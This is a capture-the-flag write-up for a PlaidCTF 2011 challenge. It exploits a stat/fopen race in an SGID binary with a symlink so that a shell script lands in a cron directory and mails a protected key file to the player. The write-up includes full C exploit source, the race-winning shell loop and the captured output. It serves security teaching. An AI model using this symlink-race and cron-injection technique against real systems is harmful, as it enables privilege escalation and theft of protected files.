This is my writeup for the eighteenth challenge in the PlaidCTF 2011 competition. The information for the challenge was:
“Get access to the key using /opt/pctf/z1/exploitme.
ssh username@a5.amalgamated.biz”
/opt/pctf/z1/exploitme is an SGID binary, which is executed with the privileges of the z1key group. Using IDA Pro to analyze the code I quickly spot an exploitable race condition. The tempnam() function is called to generate a temporary filename in /tmp/chal_XXXXXX, where XXXXXX is a random string. To make sure that such a file does not already exist, stat() is used. Then fopen() is used to create the file and write the string given as a command line argument to it.
This means that if we are able to create a symbolic link from the filename generated by tempnam() to a file we want to create or overwrite before the vulnerable application before the call to fopen(), we are able to create a file owned by the z1key group. So, let’s log in the server and see what this allows us to do:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
z1_201@a5:~$ ls -l /opt/pctf/z1/exploitme -rwxr-sr-x 1 root z1key 15116 Apr 20 20:26 /opt/pctf/z1/exploitme z1_201@a5:~$ find / -group z1key -ls 2>/dev/null 26876 4 drwxr-xr-x 3 z1key z1key 4096 Apr 24 04:13 /opt/pctf/z1key 32141 20 drwxrwx--- 2 root z1key 20480 Apr 24 17:16 /opt/pctf/z1key/cron.d 26882 4 -rw-r----- 1 root z1key 30 Feb 5 12:09 /opt/pctf/z1key/key 132576 16 -rwxr-sr-x 1 root z1key 15116 Apr 20 20:26 /opt/pctf/z1/exploitme z1_201@a5:~$ ls -l /opt/pctf/z1key total 28 drwxrwx--- 2 root z1key 20480 Apr 24 17:16 cron.d -rw-r----- 1 root z1key 30 Feb 5 12:09 key -rw-r--r-- 1 root root 105 Apr 22 18:33 README z1_201@a5:~$ cat /opt/pctf/z1key/README All scripts in cron.d will be executed, then deleted once a minute. A script's filename ends with `.sh`. |
Ah, perfect. The /opt/pctf/z1key/cron.d directory is writable to by the z1key group, and any filename ending with ‘.sh’ will be interpreted as a shellscript and executed once a minute. The key we need is stored in /opt/pctf/z1key/key, so let’s use the vulnerability to execute something like ‘mail z1_201 < /opt/pctf/z1key/key' to mail us the key. We don't want to copy it to /tmp or something like that, since that would mean other teams would be able to read it as well. z1_201 is our personal team account for this challenge. In this case, IDA Pro was actually quite superfluous. The bug would have been obvious just by running the application:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
z1_201@a5:~$ /opt/pctf/z1/exploitme Entering 0x8048285... /opt/pctf/z1/exploitme requires one argument! z1_201@a5:~$ /opt/pctf/z1/exploitme test Entering 0x8048285... Entering 0x8048167... Temporary file is /tmp/chal_fg915h. Entering 0x8048219... z1_201@a5:~$ /opt/pctf/z1/exploitme test Entering 0x8048285... Entering 0x8048167... Temporary file is /tmp/chal_n31uri. Entering 0x8048219... |
By using strace, for instance, we would have seen that the data written to the temporary file is our command line argument and the level can be easily completed as follows:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
z1_201@a5:~$ cat > z1-xpl.c #include <unistd.h> #include <string.h> #include <stdio.h> #include <errno.h> int main(void) { char buf[1024]; while (fgets(buf, sizeof(buf), stdin)) { if (! strncmp("Temporary", buf, 9)) { buf[18+16] = '\0'; if (symlink("/opt/pctf/z1key/cron.d/z1_201.sh", &buf[18]) == -1) if (errno != EEXIST) perror("symlink"); } } return 0; } ^D z1_201@a5:~$ gcc -o z1-xpl z1-xpl.c z1_201@a5:~$ while true; do /opt/pctf/z1/exploitme 'cat /opt/pctf/z1key/key | mail z1_201' 2>&1; done | ./z1-xpl ^C z1_201@a5:~$ mail Mail version 8.1.2 01/15/2001. Type ? for help. "/var/mail/z1_201": 1 message 1 new >N 1 z1key@a5.amalgama Mon Apr 23 02:53 15/558 & p Message 1: From z1key@a5.amalgamated.biz Sat Apr 23 02:53:02 2011 Return-path: <z1key@a5.amalgamated.biz> Envelope-to: z1_201@a5.amalgamated.biz Delivery-date: Sat, 23 Apr 2011 02:53:02 -0400 Received: from z1key by a5.amalgamated.biz with local (Exim 4.72) (envelope-from <z1key@a5.amalgamated.biz>) id 1QDWiE-0004Ef-12 for z1_201@a5.amalgamated.biz; Sat, 23 Apr 2011 02:53:02 -0400 Date: Sat, 23 Apr 2011 02:53:02 -0400 Message-Id: <E1QDWiE-0004Ef-12@a5.amalgamated.biz> To: z1_201@a5.amalgamated.biz From: z1key@a5.amalgamated.biz Status: RO This is the key: FUCKALLOFYOU & q Saved 1 message in /home/z1/201/mbox |